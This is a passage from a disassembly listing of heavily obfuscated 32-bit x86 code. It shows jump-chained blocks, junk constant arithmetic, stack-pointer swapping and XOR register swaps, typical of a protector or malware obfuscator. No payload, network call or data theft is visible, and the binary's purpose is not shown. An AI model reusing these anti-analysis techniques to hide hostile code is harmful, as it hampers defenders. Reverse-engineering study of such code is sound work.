		jmp	loc_5AB356
; ---------------------------------------------------------------------------


loc_5BA2F2:				; CODE XREF: sub_5A55E5+663Dj
		push	ebp
		jmp	loc_5B1680
; ---------------------------------------------------------------------------


loc_5BA2F8:				; CODE XREF: sub_5A55E5+11A0Ej
		mov	edx, 3E221BA1h
		push	ebx
		mov	ebx, 362047A3h
		xor	edx, ebx
		jmp	loc_5BB6F0
; ---------------------------------------------------------------------------


loc_5BA30A:				; CODE XREF: sub_5A55E5+652Dj
		pop	ecx
		add	esp, 4
		jmp	loc_5B3DE2
; ---------------------------------------------------------------------------


loc_5BA313:				; CODE XREF: sub_5A55E5+16DF7j
		mov	eax, edi
		jmp	loc_5BEC13
; ---------------------------------------------------------------------------


loc_5BA31A:				; CODE XREF: sub_5A55E5+95B4j
		add	esp, 4
		xchg	edi, [esp+20h+var_22+2]
		pop	esp
		or	eax, eax
		jz	loc_5ABA5A
		push	dword ptr [edi+28h]
		jmp	loc_5AA69F
; ---------------------------------------------------------------------------


loc_5BA331:				; CODE XREF: sub_5A55E5+7ED2j
		push	ebx
		mov	ebx, 5A4360D7h
		jmp	loc_5BD391
; ---------------------------------------------------------------------------


loc_5BA33C:				; CODE XREF: sub_5A55E5+5FBFj
		xor	ecx, [esp+18h+var_18]
		jmp	loc_5ADD06
; ---------------------------------------------------------------------------


loc_5BA344:				; CODE XREF: sub_5A55E5+12824j
		mov	dh, 1Eh
		push	eax
		push	ecx
		mov	cl, dh
		mov	ah, cl
		pop	ecx
		jmp	loc_5BA91B
; ---------------------------------------------------------------------------


loc_5BA352:				; CODE XREF: sub_5A55E5+134FBj
		add	esi, 0FEA7FFE4h
		mov	ebp, esi
		jmp	loc_5B8D44
; ---------------------------------------------------------------------------


loc_5BA35F:				; CODE XREF: sub_5A55E5+149CBj
		add	edi, ebx
		mov	ebx, [esp+2Eh+var_2E]
		add	esp, 4
		push	4DD5h
		mov	[esp+2Eh+var_2E], ecx
		jmp	loc_5B7ACA
; ---------------------------------------------------------------------------


loc_5BA374:				; CODE XREF: sub_5A55E5+17BD0j
		sub	[esp+2Eh+var_2A], esi
		pop	esi
		add	[esp+2Ah+var_2A], 7C7961B4h
		add	[esp+2Ah+var_2A], 38004F05h
		sub	[esp+2Ah+var_2A], 49F7382Ah
		jmp	loc_5B8684
; ---------------------------------------------------------------------------


loc_5BA393:				; CODE XREF: sub_5A55E5+5BC4j
		add	esp, 4
		jmp	loc_5B47A8
; ---------------------------------------------------------------------------


loc_5BA39E:				; CODE XREF: sub_5A55E5+73D4j
		sub	[esp+2Ah+var_2A], ebp
		pop	ebp
		push	ecx
		mov	ecx, 79244673h
		dec	ecx
		neg	ecx
		jmp	loc_5AFABB
; ---------------------------------------------------------------------------


loc_5BA3B0:				; CODE XREF: sub_5A55E5+10086j
		push	ecx
		push	36865F6Eh
		jmp	loc_5AEC08
; ---------------------------------------------------------------------------


loc_5BA3BB:				; CODE XREF: sub_5A55E5+7E95j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+42h+var_42]
		xor	[esp+42h+var_42], ebp
		xor	ebp, [esp+42h+var_42]
		jmp	loc_5B4B09
; ---------------------------------------------------------------------------


loc_5BA3D5:				; CODE XREF: sub_5A55E5+ECF1j
		mov	ah, 0EEh
		add	ah, 11h
		sub	ah, 5Ah
		and	bl, ah
		push	[esp+24h+var_26+2]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+28h+var_2A+2]
		pop	esp
		jmp	loc_5B1DC6
; ---------------------------------------------------------------------------


loc_5BA3F8:				; CODE XREF: sub_5A55E5+10EEBj
		push	eax
		push	edx
		jmp	loc_5B2E1F
; ---------------------------------------------------------------------------


loc_5BA3FF:				; CODE XREF: sub_5A55E5+CB5Cj
		shr	esi, 8
		shl	esi, 3
		add	esi, 0FF96E94Ch
		add	ebp, esi
		pop	esi
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], esi
		push	77A0h
		push	542Fh
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		pop	[esp+1Ch+var_1C]
		add	[esp+18h+var_18], 4
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		push	0BADh
		mov	[esp+18h+var_18], ecx
		jmp	loc_5B2EEC
; ---------------------------------------------------------------------------


loc_5BA449:				; CODE XREF: sub_5A55E5+CDB4j
		pop	ecx
		add	edx, esi
		pop	esi
		jmp	loc_5B9DCE
; ---------------------------------------------------------------------------


loc_5BA452:				; DATA XREF: sub_5A55E5+41A7o
		lodsd
		sub	esi, 7EF60C1Dh
		add	esi, eax
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		mov	edx, 49E61158h
		jmp	loc_5B2D16
; ---------------------------------------------------------------------------


loc_5BA46B:				; CODE XREF: sub_5A55E5+16E7Cj
		push	[esp+14h+var_14]
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		push	ecx
		push	eax
		jmp	loc_5AD7EB
; ---------------------------------------------------------------------------


loc_5BA490:				; CODE XREF: sub_5A55E5+12710j
		shr	cl, 1
		sub	cl, 6Fh
		neg	cl
		or	cl, 0C2h
		sub	cl, 0DEh
		or	dh, cl
		pop	ecx
		push	edx
		jmp	loc_5BD7A7
; ---------------------------------------------------------------------------


loc_5BA4A6:				; CODE XREF: sub_5A55E5+16C84j
		add	esp, 4
		jmp	loc_5AA170
; ---------------------------------------------------------------------------


loc_5BA4AE:				; CODE XREF: sub_5A55E5+19397j
		push	edi
		mov	edi, 66632FDBh
		add	edi, 69497923h
		not	edi
		neg	edi
		or	edi, 27906D9Bh
		xor	edi, 0EFBCEDFBh
		add	esi, edi
		pop	edi
		jmp	loc_5BA991
; ---------------------------------------------------------------------------


loc_5BA4D2:				; CODE XREF: sub_5A55E5+D877j
		pop	eax
		push	ebx
		push	esp
		push	[esp+34h+var_36+2]
		pop	ebx
		push	esi
		push	esp
		jmp	loc_5B38F2
; ---------------------------------------------------------------------------


loc_5BA4E0:				; DATA XREF: sub_5A55E5+42B7o
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		add	esp, 4
		jmp	loc_5B185B
; ---------------------------------------------------------------------------


loc_5BA4F7:				; CODE XREF: sub_5A55E5+9BC4j
		mov	edi, ebx
		pop	ebx
		pop	esi
		jmp	loc_5AF395
; ---------------------------------------------------------------------------


loc_5BA500:				; CODE XREF: sub_5A55E5+5076j
		add	esp, 4
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], ebp
		mov	ebp, 4
		sub	esi, 44B95AF9h
		jmp	loc_5B7A2C
; ---------------------------------------------------------------------------


loc_5BA51F:				; CODE XREF: sub_5A55E5+165E9j
		push	[esp+5Eh+var_5C+2]
		jmp	loc_5B09DD
; ---------------------------------------------------------------------------


loc_5BA528:				; CODE XREF: sub_5A55E5+7BF3j
		sub	eax, 7D600843h
		push	[esp+1Ch+var_1C]
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		push	eax
		sub	esp, 4
		push	esp
		pop	[esp+28h+var_2A+2]
		add	[esp+24h+var_26+2], 4
		jmp	loc_5BCE86
; ---------------------------------------------------------------------------


loc_5BA54A:				; CODE XREF: sub_5A55E5+14AA7j
		pop	esp
		push	3701h
		mov	[esp+22h+var_22], ebp
		push	[esp+22h+var_22]
		pop	eax
		add	esp, 4
		push	dword ptr [esp+0]
		mov	ebp, [esp+22h+var_22]
		add	esp, 4
		push	eax
		push	esp
		jmp	loc_5B9CE3
; ---------------------------------------------------------------------------


loc_5BA56D:				; CODE XREF: sub_5A55E5+104E7j
		pop	eax
		jmp	loc_5B9EF2
; ---------------------------------------------------------------------------


loc_5BA573:				; CODE XREF: sub_5A55E5+9DB8j
		pop	eax
		push	ebx
		jmp	loc_5AC552
; ---------------------------------------------------------------------------


loc_5BA57A:				; CODE XREF: sub_5A55E5+871Cj
		add	esp, 4
		add	dl, bl
		push	ecx
		mov	ch, 98h
		jmp	loc_5B1A49
; ---------------------------------------------------------------------------


loc_5BA587:				; CODE XREF: sub_5A55E5+5F75j
		xor	ebx, [esp+18h+var_18]
		pop	esp
		push	edi
		push	ebx
		mov	ebx, 280E38BCh
		mov	edi, 288E38BCh
		xor	edi, ebx
		jmp	loc_5B2D0B
; ---------------------------------------------------------------------------


loc_5BA59E:				; CODE XREF: sub_5A55E5+6305j
		push	esp
		jmp	loc_5B29E2
; ---------------------------------------------------------------------------


loc_5BA5A4:				; CODE XREF: sub_5A55E5+17168j
		push	80000h
		mov	edx, [esp+24h+var_26+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+28h+var_2A+2]
		jmp	loc_5B69C1
; ---------------------------------------------------------------------------


loc_5BA5C3:				; CODE XREF: sub_5A55E5+8445j
		mov	ebp, 4
		sub	esi, 69586E7Dh
		add	esi, ebp
		push	ebp
		jmp	loc_5AA736
; ---------------------------------------------------------------------------


loc_5BA5D6:				; CODE XREF: sub_5A55E5+135A3j
		add	ebp, 2F9B601Ch
		add	ebp, ebx
		jmp	loc_5B4869
; ---------------------------------------------------------------------------


loc_5BA5E3:				; CODE XREF: sub_5A55E5+147E4j
		mov	ebp, 2807853h
		sub	ebp, 3D4087Dh
		or	ebp, 32124758h
		sub	ebp, 92020B7h
		jmp	loc_5AF919
; ---------------------------------------------------------------------------


loc_5BA5FF:				; CODE XREF: sub_5A55E5+538Aj
		sub	edi, 1
		shl	edi, 6
		xor	edi, 52C78C4Ah
		push	ebp
		push	ecx
		mov	ecx, 24034BB7h
		mov	ebp, ecx
		pop	ecx
		add	edi, 58547990h
		sub	edi, ebp
		sub	edi, 58547990h
		mov	ebp, [esp+26h+var_26]
		add	esp, 4
		push	ecx
		jmp	loc_5BD16B
; ---------------------------------------------------------------------------


loc_5BA632:				; CODE XREF: sub_5A55E5+10431j
		neg	ecx
		push	edi
		mov	edi, 239E7DEBh
		shr	edi, 7
		or	edi, 7A866294h
		jmp	loc_5B5A41
; ---------------------------------------------------------------------------


loc_5BA648:				; CODE XREF: sub_5A55E5+156C4j
		push	ebx
		jmp	loc_5B2987
; ---------------------------------------------------------------------------


loc_5BA64E:				; CODE XREF: sub_5A55E5+454Ej
		shl	dl, 7
		xor	dl, 0EFh
		add	dl, 1Bh
		mov	bl, dl
		push	[esp+40h+var_42+2]
		pop	edx
		push	esi
		jmp	loc_5BD9E3
; ---------------------------------------------------------------------------


loc_5BA663:				; CODE XREF: sub_5A55E5+116BCj
		or	edx, 475A03E9h
		add	edx, 5174717Bh
		dec	edx
		jmp	loc_5ADC3B
; ---------------------------------------------------------------------------


loc_5BA675:				; CODE XREF: sub_5A55E5+CAC5j
		sub	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 43644945h
		add	ecx, 3B265778h
		sub	ecx, 6B411A25h
		sub	ecx, 47BC387Fh
		push	ecx
		jmp	loc_5AD695
; ---------------------------------------------------------------------------


loc_5BA696:				; CODE XREF: sub_5A55E5+E79Dj
		push	cx
		jmp	loc_5B43A9
; ---------------------------------------------------------------------------


loc_5BA69D:				; CODE XREF: sub_5A55E5+16E14j
		mov	[esp+26h+var_26], edi
		mov	edi, 50CD766Eh
		jmp	loc_5BCDE1
; ---------------------------------------------------------------------------


loc_5BA6AA:				; CODE XREF: sub_5A55E5+10D73j
		shr	eax, 5
		jmp	loc_5AA282
; ---------------------------------------------------------------------------


loc_5BA6B2:				; CODE XREF: sub_5A55E5+B27Bj
		xor	edx, 96A1F9F3h
		jmp	loc_5BA94A
; ---------------------------------------------------------------------------


loc_5BA6BD:				; CODE XREF: sub_5A55E5+9271j
		sub	al, 0ECh
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		add	al, dl
		add	al, 37h
		push	cx
		mov	ch, 0B5h
		jmp	loc_5BEA8F
; ---------------------------------------------------------------------------


loc_5BA6D2:				; CODE XREF: sub_5A55E5+11D38j
		push	25Bh
		mov	[esp+34h+var_36+2], esp
		push	ebp
		jmp	loc_5AD130
; ---------------------------------------------------------------------------


loc_5BA6E0:				; CODE XREF: sub_5A55E5+E4D6j
		shl	eax, 2
		not	eax
		add	eax, 0E0EB0B0Bh
		add	ebx, eax
		jmp	loc_5A9EBB
; ---------------------------------------------------------------------------


loc_5BA6F1:				; CODE XREF: sub_5A55E5+19AA9j
		add	esp, 4
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BA6F9:				; CODE XREF: sub_5A55E5+13132j
		push	dword ptr [esp+0]
		jmp	loc_5B83F2
; ---------------------------------------------------------------------------


loc_5BA701:				; CODE XREF: sub_5A55E5+8F54j
		xor	ecx, 4A6B7F5Dh
		jmp	loc_5B21E3
; ---------------------------------------------------------------------------


loc_5BA70C:				; CODE XREF: sub_5A55E5+19E8Bj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BA711:				; CODE XREF: sub_5A55E5+6E55j
		mov	bx, word ptr [esp+24h+var_26+2]
		add	esp, 2
		sub	esp, 4
		mov	[esp+24h+var_26+2], edx
		mov	dl, 9
		push	small 2F75h
		mov	word ptr [esp+26h+var_26], cx
		jmp	loc_5AA825
; ---------------------------------------------------------------------------


loc_5BA730:				; CODE XREF: sub_5A55E5+A153j
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		push	edi
		push	ebx
		jmp	loc_5B0AA5
; ---------------------------------------------------------------------------


loc_5BA740:				; CODE XREF: sub_5A55E5+AE50j
		sub	ecx, 4
		xchg	ecx, [esp+3Eh+var_3E]
		pop	esp
		mov	[esp+3Ah+var_3A], edx
		push	[esp+3Ah+var_36]
		pop	edx
		jmp	loc_5A9BA6
; ---------------------------------------------------------------------------


loc_5BA757:				; DATA XREF: sub_5A55E5+4177o
		push	edi
		jmp	loc_5AC132
; ---------------------------------------------------------------------------


loc_5BA75D:				; CODE XREF: sub_5A55E5+8870j
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 7B2F229Bh
		not	ebx
		shl	ebx, 1
		and	ebx, 2856B89h
		inc	ebx
		jmp	loc_5AB09E
; ---------------------------------------------------------------------------


loc_5BA775:				; CODE XREF: sub_5A55E5+E66Dj
		sub	ecx, esi
		jmp	loc_5B2597
; ---------------------------------------------------------------------------


loc_5BA77C:				; CODE XREF: sub_5A55E5+84C6j
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, 52601219h
		add	edi, edx
		jmp	loc_5AB047
; ---------------------------------------------------------------------------


loc_5BA795:				; CODE XREF: sub_5A55E5+11079j
		pop	ecx
		jmp	loc_5BCD3D
; ---------------------------------------------------------------------------


loc_5BA79B:				; CODE XREF: sub_5A55E5+F495j
		mov	[esp+28h+var_2A+2], ecx
		jmp	loc_5B2CA0
; ---------------------------------------------------------------------------


loc_5BA7A3:				; CODE XREF: sub_5A55E5+1151Fj
		push	ebp
		mov	ebp, 458C4304h
		shr	ebp, 5
		or	ebp, 1226790Ch
		jmp	loc_5BEFBA
; ---------------------------------------------------------------------------


loc_5BA7B7:				; CODE XREF: sub_5A55E5+D337j
		mov	ebx, 7917695Eh
		shl	ebx, 4
		add	ebx, 750AB106h
		mov	ebp, ebx
		pop	ebx
		add	edi, 629C7DA1h
		add	edi, ebp
		sub	edi, 629C7DA1h
		jmp	loc_5B5C03
; ---------------------------------------------------------------------------


loc_5BA7DB:				; CODE XREF: sub_5A55E5+12410j
		add	esi, 4
		push	6E2Ch
		mov	[esp+6+var_8+2], edi
		jmp	loc_5B22FD
; ---------------------------------------------------------------------------


loc_5BA7EE:				; CODE XREF: sub_5A55E5+EF54j
		push	edi
		jmp	loc_5B304C
; ---------------------------------------------------------------------------


loc_5BA7F4:				; CODE XREF: sub_5A55E5+F327j
		mov	ax, bp
		pop	ebp
		pop	esi
		jmp	loc_5B68DB
; ---------------------------------------------------------------------------


loc_5BA7FE:				; CODE XREF: sub_5A55E5+17399j
		push	4619h
		mov	[esp+6+var_8+2], ecx
		push	605E9DE3h
		push	[esp+0Ah+var_C+2]
		mov	ecx, [esp+0Eh+var_10+2]
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebp
		mov	ebp, esp
		jmp	loc_5B2B1D
; ---------------------------------------------------------------------------


loc_5BA81E:				; CODE XREF: sub_5A55E5+1080Aj
		mov	esi, ebx
		push	[esp+28h+var_2A+2]
		pop	ebx
		add	esp, 4
		xor	[esp+24h+var_22+2], esi
		pop	esi
		push	[esp+20h+var_22+2]
		pop	ebx
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebx
		sub	esp, 4
		mov	[esp+28h+var_2A+2], esp
		add	[esp+28h+var_2A+2], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5B9707
; ---------------------------------------------------------------------------


loc_5BA85B:				; CODE XREF: sub_5A55E5+A052j
		add	esp, 4
		shl	edi, 4
		dec	edi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 55BB5CA3h
		or	edi, edx
		jmp	loc_5B9943
; ---------------------------------------------------------------------------


loc_5BA874:				; CODE XREF: sub_5A55E5+8682j
		add	esi, ebx
		sub	esi, 32F37FF4h
		jmp	loc_5B240F
; ---------------------------------------------------------------------------


loc_5BA881:				; CODE XREF: sub_5A55E5+10457j
		mov	[esp+14h+var_14], esi
		push	68C2h
		mov	[esp+18h+var_18], ecx
		push	ebx
		push	ecx
		mov	ecx, 10DC395Ch
		xor	[esp+20h+var_1C], ecx
		pop	ecx
		pop	ecx
		xor	ecx, 10DC395Ch
		jmp	loc_5BA9FD
; ---------------------------------------------------------------------------


loc_5BA8A4:				; CODE XREF: sub_5A55E5+70EAj
		pop	di
		sub	bp, 0D6E1h
		mov	di, bp
		pop	ebp
		push	cx
		mov	cx, 409Ch
		jmp	loc_5BD4D2
; ---------------------------------------------------------------------------


loc_5BA8BA:				; CODE XREF: sub_5A55E5+C5B1j
		or	ch, 60h
		sub	ch, 0FFh
		push	ebx
		mov	bh, 72h
		jmp	loc_5ADCBD
; ---------------------------------------------------------------------------


loc_5BA8C8:				; CODE XREF: sub_5A55E5+12033j
		mov	[esp+26h+var_26], ecx
		mov	ch, 10h
		jmp	loc_5BAFC5
; ---------------------------------------------------------------------------


loc_5BA8D2:				; CODE XREF: sub_5A55E5+5592j
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], esi
		xor	esi, [esp+52h+var_54+2]
		pop	esp
		jmp	loc_5BB076
; ---------------------------------------------------------------------------


loc_5BA8EB:				; CODE XREF: sub_5A55E5+5F32j
		pop	ebx
		jmp	loc_5B689C
; ---------------------------------------------------------------------------


loc_5BA8F1:				; CODE XREF: sub_5A55E5+131C6j
		dec	ebp
		not	ebp
		xor	ebp, 73CD0A96h
		jmp	loc_5B5121
; ---------------------------------------------------------------------------


loc_5BA8FF:				; CODE XREF: sub_5A55E5+15679j
		xor	ebp, 53AF012Ah
		xor	ebp, 0C59FB1B8h
		push	ebp
		jmp	loc_5AD022
; ---------------------------------------------------------------------------


loc_5BA911:				; CODE XREF: sub_5A55E5+B504j
		mov	edx, 4
		jmp	loc_5B68A3
; ---------------------------------------------------------------------------


loc_5BA91B:				; CODE XREF: sub_5A55E5+14D68j
		mov	cl, ah
		jmp	loc_5B2248
; ---------------------------------------------------------------------------


loc_5BA922:				; CODE XREF: sub_5A55E5+F72Ej
		add	[esp+42h+var_42], 7E7129EDh
		pop	ebx
		sub	ebx, 7E7129EDh
		pop	esi
		xor	eax, ebx
		jmp	loc_5B640C
; ---------------------------------------------------------------------------


loc_5BA938:				; CODE XREF: sub_5A55E5+117D4j
		pop	edx
		neg	edx
		jmp	loc_5AD0F5
; ---------------------------------------------------------------------------


loc_5BA940:				; CODE XREF: sub_5A55E5+13AE8j
		mov	edx, 4
		jmp	loc_5A9C83
; ---------------------------------------------------------------------------


loc_5BA94A:				; CODE XREF: sub_5A55E5+150D3j
		sub	ebp, 6CCF261Dh
		sub	ebp, edx
		push	eax
		mov	eax, 20090D90h
		dec	eax
		sub	eax, 67DE4EC8h
		add	eax, 56E4E60h
		sub	eax, 427424BCh
		add	eax, 0F1AA3DB2h
		add	ebp, eax
		pop	eax
		mov	edx, [esp+4Eh+var_50+2]
		add	esp, 4
		jmp	loc_5AFF55
; ---------------------------------------------------------------------------


loc_5BA97E:				; CODE XREF: sub_5A55E5+1585Dj
		mov	eax, [esp+4Ah+var_4A]
		push	ebp
		jmp	loc_5B6507
; ---------------------------------------------------------------------------


loc_5BA987:				; CODE XREF: sub_5A55E5+B624j
		sub	eax, 0D94FF0FAh
		jmp	loc_5ABD92
; ---------------------------------------------------------------------------


loc_5BA991:				; CODE XREF: sub_5A55E5+14EE8j
		add	esi, 2
		xchg	esi, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BA99F:				; DATA XREF: sub_5A55E5+41A3o
		mov	cx, word ptr [esp+10h+var_10]
		push	ebp
		push	55Bh
		push	399Dh
		push	esp
		pop	[esp+20h+var_22+2]
		jmp	loc_5B98B6
; ---------------------------------------------------------------------------


loc_5BA9B7:				; CODE XREF: sub_5A55E5+18C1Fj
		dec	ebx
		or	ebx, 11750309h
		dec	ebx
		push	esi
		mov	esi, 995C9779h
		jmp	loc_5BDA17
; ---------------------------------------------------------------------------


loc_5BA9CA:				; CODE XREF: sub_5A55E5+9AF6j
		mov	ebx, [esp+42h+var_42]
		add	esp, 4
		add	ch, ah
		pop	eax
		xor	al, ch
		mov	ecx, [esp+3Ah+var_3A]
		jmp	loc_5B4F57
; ---------------------------------------------------------------------------


loc_5BA9DD:				; CODE XREF: sub_5A55E5+6317j
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_5B48FC
; ---------------------------------------------------------------------------


loc_5BA9EB:				; CODE XREF: sub_5A55E5+D11Bj
		xchg	edx, [esp+24h+var_26+2]
		pop	esp
		sub	esi, 2
		xor	esi, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], esi
		jmp	loc_5B487A
; ---------------------------------------------------------------------------


loc_5BA9FD:				; CODE XREF: sub_5A55E5+152BAj
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		sub	esp, 4
		mov	[esp+20h+var_22+2], ecx
		pop	edx
		push	58EAh
		mov	[esp+20h+var_22+2], edx
		sub	[esp+20h+var_22+2], 43892BACh
		pop	esi
		push	ebp
		jmp	loc_5BCAAD
; ---------------------------------------------------------------------------


loc_5BAA23:				; CODE XREF: sub_5A55E5+6E43j
		mov	ebp, 77A8782Ah
		xor	ebp, 77A8782Eh
		add	edx, ebp
		pop	ebp
		jmp	loc_5B5B6D
; ---------------------------------------------------------------------------


loc_5BAA36:				; CODE XREF: sub_5A55E5+9894j
		mov	ebx, 25A41B0Fh
		sub	ebx, 127422CAh
		not	ebx
		jmp	loc_5B3209
; ---------------------------------------------------------------------------


loc_5BAA48:				; CODE XREF: sub_5A55E5+8FA1j
		add	esp, 4
		add	eax, ebp
		jmp	loc_5ACB3C
; ---------------------------------------------------------------------------


loc_5BAA55:				; CODE XREF: sub_5A55E5+74DCj
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_5AE908
; ---------------------------------------------------------------------------


loc_5BAA66:				; DATA XREF: sub_5A55E5+432Fo
		sub	esp, 4
		mov	[esp+18h+var_18], eax
		jmp	loc_5AA263
; ---------------------------------------------------------------------------


loc_5BAA71:				; CODE XREF: sub_5A55E5+7957j
		pop	ecx
		add	ebx, 38C825E1h
		add	ebx, eax
		sub	esp, 4
		mov	[esp+38h+var_3A+2], eax
		mov	eax, 13755634h
		shl	eax, 8
		inc	eax
		not	eax
		jmp	loc_5AE870
; ---------------------------------------------------------------------------


loc_5BAA90:				; CODE XREF: sub_5A55E5+11A69j
		xchg	ebx, [esp+18h+var_18]
		pop	esp
		xor	eax, edx
		push	[esp+14h+var_14]
		jmp	loc_5B8B12
; ---------------------------------------------------------------------------


loc_5BAA9E:				; DATA XREF: sub_5A55E5+4377o
		mov	ax, word ptr [esp+14h+var_14]
		push	795Ch
		mov	[esp+18h+var_18], edx
		push	esp
		pop	edx
		push	6C00h
		mov	[esp+1Ch+var_1C], ebp
		jmp	loc_5BD29C
; ---------------------------------------------------------------------------


loc_5BAAB9:				; CODE XREF: sub_5A55E5+8D7Aj
		mov	eax, [esp+20h+var_22+2]
		jmp	loc_5B08EB
; ---------------------------------------------------------------------------


loc_5BAAC1:				; CODE XREF: sub_5A55E5+189EFj
		test	ecx, eax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BAAC9:				; CODE XREF: sub_5A55E5+D1CFj
		add	ecx, 4
		push	18F1h
		jmp	loc_5B24E9
; ---------------------------------------------------------------------------


loc_5BAAD9:				; CODE XREF: sub_5A55E5+6FD6j
		xchg	edi, [esp+34h+var_36+2]
		jmp	loc_5B4B17
; ---------------------------------------------------------------------------


loc_5BAAE1:				; CODE XREF: sub_5A55E5+11CF1j
		add	esp, 4
		add	edi, 70319506h
		sub	eax, 687F30D4h
		sub	eax, 4D071367h
		add	eax, 46E124CFh
		add	eax, edi
		sub	eax, 46E124CFh
		jmp	loc_5AB535
; ---------------------------------------------------------------------------


loc_5BAB08:				; CODE XREF: sub_5A55E5+13E16j
		xor	ebx, edx
		pop	edx
		jmp	loc_5B5AD1
; ---------------------------------------------------------------------------


loc_5BAB10:				; CODE XREF: sub_5A55E5+18FD4j
		add	[esp+18h+var_18], 4
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_5BA1F8
; ---------------------------------------------------------------------------


loc_5BAB22:				; CODE XREF: sub_5A55E5+6047j
		mov	ecx, [esp+34h+var_36+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5B6596
; ---------------------------------------------------------------------------


loc_5BAB33:				; CODE XREF: sub_5A55E5+C30Ej
		push	7B9Bh
		mov	[esp+26h+var_26], ebx
		push	ecx
		mov	ecx, 2BD5845Fh
		mov	ebx, ecx
		pop	ecx
		add	eax, ebx
		pop	ebx
		or	esi, eax
		push	[esp+22h+var_22]
		jmp	loc_5B3968
; ---------------------------------------------------------------------------


loc_5BAB51:				; CODE XREF: sub_5A55E5+12001j
		add	esp, 4
		push	ecx
		jmp	loc_5B60AB
; ---------------------------------------------------------------------------


loc_5BAB5A:				; CODE XREF: sub_5A55E5+198B4j
		add	esp, 4
		sub	esp, 4
		mov	[esp+34h+var_36+2], esi
		push	6B84h
		mov	[esp+38h+var_3A+2], eax
		push	40h
		pop	eax
		push	eax
		push	ebx
		mov	ebx, 5DA1B42h
		xor	[esp+40h+var_3E+2], ebx
		pop	ebx
		jmp	loc_5B5A82
; ---------------------------------------------------------------------------


loc_5BAB85:				; CODE XREF: sub_5A55E5+12565j
		push	[esp+24h+var_26+2]
		pop	edi
		add	esp, 4
		xchg	ebx, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		push	small 24C1h
		mov	word ptr [esp+22h+var_22], ax
		push	edx
		jmp	loc_5B569E
; ---------------------------------------------------------------------------


loc_5BABA3:				; CODE XREF: sub_5A55E5+F89Fj
		mov	eax, [esp+3Eh+var_3E]
		add	esp, 4
		push	4F77h
		mov	[esp+3Eh+var_3E], edi
		mov	edi, 1
		and	eax, edi
		push	[esp+3Eh+var_3E]
		push	[esp+42h+var_42]
		pop	edi
		sub	esp, 4
		mov	[esp+46h+var_46], ebx
		jmp	loc_5BEBFD
; ---------------------------------------------------------------------------


loc_5BABD0:				; CODE XREF: sub_5A55E5+1587Dj
		shr	edi, 3
		or	edi, 350B06BCh
		xor	edi, 518E3E12h
		add	edi, 0AD58ECC3h
		mov	eax, edi
		pop	edi
		jmp	loc_5B0FA8
; ---------------------------------------------------------------------------


loc_5BABED:				; CODE XREF: sub_5A55E5+19440j
		mov	ebp, [esp+42h+var_42]
		add	esp, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5BDFC2
; ---------------------------------------------------------------------------


loc_5BABFE:				; CODE XREF: sub_5A55E5+90DFj
		xor	ebx, eax
		xor	ebx, 47BC7CCAh
		add	ebx, 1
		push	esi
		mov	esi, 580F6EF8h
		xor	esi, 0E7B2C203h
		sub	ebx, esi
		pop	esi
		add	ebp, ebx
		pop	ebx
		jmp	loc_5BDF03
; ---------------------------------------------------------------------------


loc_5BAC23:				; CODE XREF: sub_5A55E5+A2A9j
		sub	esp, 4
		jmp	loc_5AA9CF
; ---------------------------------------------------------------------------


loc_5BAC2E:				; CODE XREF: sub_5A55E5+8827j
		push	ecx
		mov	ecx, 2100589Ah
		neg	ecx
		or	ecx, 466D7988h
		shr	ecx, 2
		xor	ecx, 242DE3EAh
		add	eax, ecx
		pop	ecx
		sub	eax, 4C42921h
		jmp	loc_5AF577
; ---------------------------------------------------------------------------


loc_5BAC52:				; CODE XREF: sub_5A55E5+AD2Aj
		inc	edi
		jmp	loc_5AA49B
; ---------------------------------------------------------------------------


loc_5BAC58:				; CODE XREF: sub_5A55E5+CFE5j
		neg	edi
		xchg	edi, ebp
		not	ebp
		jmp	loc_5BA8FF
; ---------------------------------------------------------------------------


loc_5BAC63:				; CODE XREF: sub_5A55E5+4507j
		dec	ecx
		inc	ecx
		add	ecx, 13C233F7h
		push	ebx
		mov	ebx, 0FBACF538h
		sub	ecx, ebx
		jmp	loc_5AD5D4
; ---------------------------------------------------------------------------


loc_5BAC78:				; CODE XREF: sub_5A55E5+1347Aj
